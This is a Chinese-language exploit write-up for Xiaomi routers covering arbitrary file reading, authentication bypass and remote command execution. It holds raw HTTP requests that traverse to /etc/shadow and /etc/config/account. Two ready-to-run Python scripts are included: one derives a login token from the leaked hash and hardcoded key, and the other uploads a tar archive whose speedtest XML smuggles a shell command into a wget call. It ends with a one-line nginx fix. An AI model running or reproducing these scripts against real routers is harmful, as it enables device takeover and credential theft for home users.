小米路由器任意文件读取及远程命令执行漏洞

location /xxx {  alias /abc/;}

location /api-third-party/download/extdisks {  alias /extdisks/;}

location /backup/log {  alias /tmp/syslogbackup/;}
location /api-third-party/download/public {  alias /userdisk/data/;}location /api-third-party/download/private {  alias /userdisk/appdata/;}

var Encrypt = {    key: 'a2ffa5c9be07488bbb04a3a47d3c5f6a',    iv: '64175472480004614961023454661220',    nonce: null,    init: function(){        var nonce = this.nonceCreat();        this.nonce = nonce;        return this.nonce;    },    nonceCreat: function(){        var type = 0;        // 自己的mac地址        var deviceId = '<%=mac%>';        var time = Math.floor(new Date().getTime() / 1000);        var random = Math.floor(Math.random() * 10000);        return [type, deviceId, time, random].join('_');    },    oldPwd : function(pwd){ // oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))        return CryptoJS.SHA1(this.nonce + CryptoJS.SHA1(pwd + this.key).toString()).toString();    },  //...};

POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1Host: xx.xx.xx.xx
username=admin&password=c9e62da7b8a0b7a4918c5a90912ba81a9717f9ab&logtype=2&nonce=0_mac地址_时间戳_5248

function checkUser(user, nonce, encStr)    -- 从xiaoqiang 配置文件中读取信息    local password = XQPreference.get(user, nil, "account")    if password and not XQFunction.isStrNil(encStr) and not XQFunction.isStrNil(nonce) then        if XQCryptoUtil.sha1(nonce..password) == encStr then            return true        end    end    XQLog.log(4, (luci.http.getenv("REMOTE_ADDR") or "").." Authentication failed", nonce, password, encStr)    return falseend

sha1(nonce + sha1(密码 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))==sha1(nonce + accountStr)

accountStr == sha1(密码 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a')

POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1Host: xx.xx.xx.xx
username=admin&password=sha1(nonce + account中保存的字符串)&logtype=2&nonce=0_mac地址_时间戳_5248

GET /api-third-party/download/extdisks../etc/shadow HTTP/1.1Host: xx.xx.xx.xxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept-Encoding: gzip, deflateConnection: close

#!/usr/bin/python
import osimport reimport timeimport base64import randomimport hashlibimport requestsfrom Crypto.Cipher import AES
proxies = {"http":"http://127.0.0.1:8080"}

def get_mac():  ## get mac  r0 = requests.get("http://xx.xx.xx.xx/cgi-bin/luci/web",proxies = proxies)  mac = re.findall(r'deviceId = '(.*?)'', r0.text)[0]  # print(mac)    return mac
def get_account_str():  ## read /etc/config/account  r1 = requests.get("http://xx.xx.xx.xx/api-third-party/download/extdisks../etc/config/account",proxies = proxies)  print(r1.text)  account_str = re.findall(r'admin'? '(.*)'', r1.text)[0]  return account_str
def create_nonce(mac):  type_ = 0  deviceId = mac  time_ = int(time.time())  rand = random.randint(0,10000)  return "%d_%s_%d_%d"%(type_, deviceId, time_, rand)
def calc_password(nonce, account_str):  m = hashlib.sha1()  m.update((nonce + account_str).encode('utf-8'))  return m.hexdigest()
mac = get_mac()account_str = get_account_str()## login, get stoknonce = create_nonce(mac)password = calc_password(nonce, account_str)data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce)r2 = requests.post("http://xx.xx.xx.xx/cgi-bin/luci/api/xqsystem/login",   data = data,   headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"},proxies = proxies)# print(r2.text)stok = re.findall(r'"token":"(.*?)"',r2.text)[0]print("stok="+stok)

function cUpload()    local LuciFs = require("luci.fs")    local XQBackup = require("xiaoqiang.module.XQBackup")    local code = 0    local canupload = true    local uploadFilepath = "/tmp/cfgbackup.tar.gz"    local fileSize = tonumber(LuciHttp.getenv("CONTENT_LENGTH"))    if fileSize > 102400 then        canupload = false    end    LuciHttp.setfilehandler(        function(meta, chunk, eof)            if canupload then                if not fp then                    if meta and meta.name == "image" then                        fp = io.open(uploadFilepath, "w")                    end                end                if chunk then                    fp:write(chunk)                end                if eof then                    fp:close()                end            else                code = 1630            end        end    )    if LuciHttp.formvalue("image") and fp then        code = 0    end    local result = {}    if code == 0 then        local ext = XQBackup.extract(uploadFilepath)        if ext == 0 then            result["des"] = XQBackup.getdes()        else            code = 1629        end    end    if code ~= 0 then        result["msg"] = XQErrorUtil.getErrorMessage(code)        LuciFs.unlink(uploadFilepath)    end    result["code"] = code    LuciHttp.write_json(result)end

-- 0:succeed-- 1:file does not exist-- 2:no description file-- 3:no mbu filefunction extract(filepath)    local fs = require("nixio.fs")    local tarpath = filepath    if not tarpath then        tarpath = TARMBUFILE    end    if not fs.access(tarpath) then        return 1    end    os.execute("cd /tmp; tar -xzf "..tarpath.." >/dev/null 2>/dev/null")    os.execute("rm "..tarpath.." >/dev/null 2>/dev/null")    if not fs.access(DESFILE) then        return 2    end    if not fs.access(MBUFILE) then        return 3    end    return 0end

#!/usr/bin/env lua-- ...local cfg = {-- ...  ['xmlfile'] = "/usr/share/speedtest.xml",        ['tmp_speedtest_xml'] = "/tmp/speedtest_urls.xml",}VERSION="__UNDEFINED__"-- ...-- 测试网速使用的url文件为，若存在/tmp/speedtest_urls.xml则使用，否则用/usr/share/speedtest.xmllocal filename = ""filexml = io.open(cfg.tmp_speedtest_xml)if filexml then    filexml:close()    filename = cfg.tmp_speedtest_xmlelse    filename = cfg.xmlfileend
local pp = io.open(filename)local line = pp:read("*line")local size = 0local resources = {}local u = ""local pids = {}-- ...function wget_work(url)  local _url = url  pid = posix.fork()  if pid < 0 then    print("fork error")    return -1  elseif pid > 0 then    --print(string.format("child pid %dn", pid))  else        -- 拼接命令，最终在这里执行    os.execute('for i in $(seq '.. math.floor(cfg.nr/cfg.nc) ..'); do wget '.. url  ..    " -q -O /dev/null; done")  end  return pidend
while line do    -- 从文件中提取url， 这里提取没有进行过滤  local _, _, url = string.find(line,'<item url="(.*)"/>')  if url then    table.insert(resources, url)  end  line = pp:read("*line")endpp:close()
local urls = mrandom(1, table.getn(resources), cfg.nc)
for k, v in ipairs(urls) do  if VERSION == "LESSMEM" then    local pid = wget_work_loop(resources[v])  else        -- VERSION 为 __UNDEFINED__， url直接作为参数    local pid = wget_work(resources[v])  end  if(pid == 0) then    os.exit(0)  elseif(pid == -1) then    done()  endend

function netspeed()    local XQPreference = require("xiaoqiang.XQPreference")    local XQNSTUtil = require("xiaoqiang.module.XQNetworkSpeedTest")    local code = 0    local result = {}    local history = LuciHttp.formvalue("history")    if history then        result["bandwidth"] = tonumber(XQPreference.get("BANDWIDTH", 0, "xiaoqiang"))        result["download"] = tonumber(string.format("%.2f", 128 * result.bandwidth))        result["bandwidth2"] = tonumber(XQPreference.get("BANDWIDTH2", 0, "xiaoqiang"))        result["upload"] = tonumber(string.format("%.2f", 128 * result.bandwidth2))    else        os.execute("/etc/init.d/miqos stop")        -- 这里调用了downloadSpeedTest        local download = XQNSTUtil.downloadSpeedTest()        if download then            result["download"] = download            result["bandwidth"] = tonumber(string.format("%.2f", 8 * download/1024))            XQPreference.set("BANDWIDTH", tostring(result.bandwidth), "xiaoqiang")        else            code = 1588        end        if code ~= 0 then           result["msg"] = XQErrorUtil.getErrorMessage(code)        end        os.execute("/etc/init.d/miqos start")    end        result["code"] = code    LuciHttp.write_json(result)endfunction downloadSpeedTest()    local speedtest = "/usr/bin/download_speedtest"    local speed    -- 直接调用sh文件    for _, line in ipairs(LuciUtil.execl(speedtest)) do        if not XQFunction.isStrNil(line) and line:match("^avg rx:") then            speed = line:match("^avg rx:(%S+)")            if speed then                speed = tonumber(string.format("%.2f",speed/8))            end            break        end    end    return speedend

<?xml version="1.0"?><root>  <class type="1">    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>  </class>  <class type="2">    <item url="http://xx.xx.xx.xx -q -O /dev/null;{command}>/tmp/1.txt; exit; wget http://xx.xx.xx.xx  "/>  </class>  <class type="3">    <item uploadurl="http://www.taobao.com/"/>    <item uploadurl="http://www.so.com/"/>    <item uploadurl="http://www.qq.com/"/>    <item uploadurl="http://www.sohu.com/"/>    <item uploadurl="http://www.tudou.com/"/>    <item uploadurl="http://www.360doc.com/"/>    <item uploadurl="http://www.kankan.com/"/>    <item uploadurl="http://www.speedtest.cn/"/>  </class></root>

#!/usr/bin/python

import osimport tarfileimport requests
proxies = {"http":"http://127.0.0.1:8080"}

## get stokstok = input("stok: ")
## make config filecommand = input("command: ")speed_test_filename = "speedtest_urls.xml"with open("template.xml","rt",encoding='gb18030', errors='ignore') as f:  template = f.read()data = template.format(command=command)# print(data)with open("speedtest_urls.xml",'wt') as f:  f.write(data)
with tarfile.open("payload.tar.gz", "w:gz") as tar:  # tar.add("cfg_backup.des")  # tar.add("cfg_backup.mbu")  tar.add("speedtest_urls.xml")
## upload config fileprint("start uploading config file ...")r1 = requests.post("http://xx.xx.xx.xx/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(stok), files={"image":open("payload.tar.gz",'rb')}, proxies=proxies)# print(r1.text)
## exec download speed test, exec commandprint("start exec command...")r2 = requests.get("http://xx.xx.xx.xx/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed".format(stok), proxies=proxies)# print(r2.text)
## read result filer3 = requests.get("http://xx.xx.xx.xx/api-third-party/download/extdisks../tmp/1.txt", proxies=proxies)if r3.status_code == 200:  print("success, vul")  print(r3.text)

location /xxx {  alias /abc/;}

location /xxx/ {  alias /abc/;}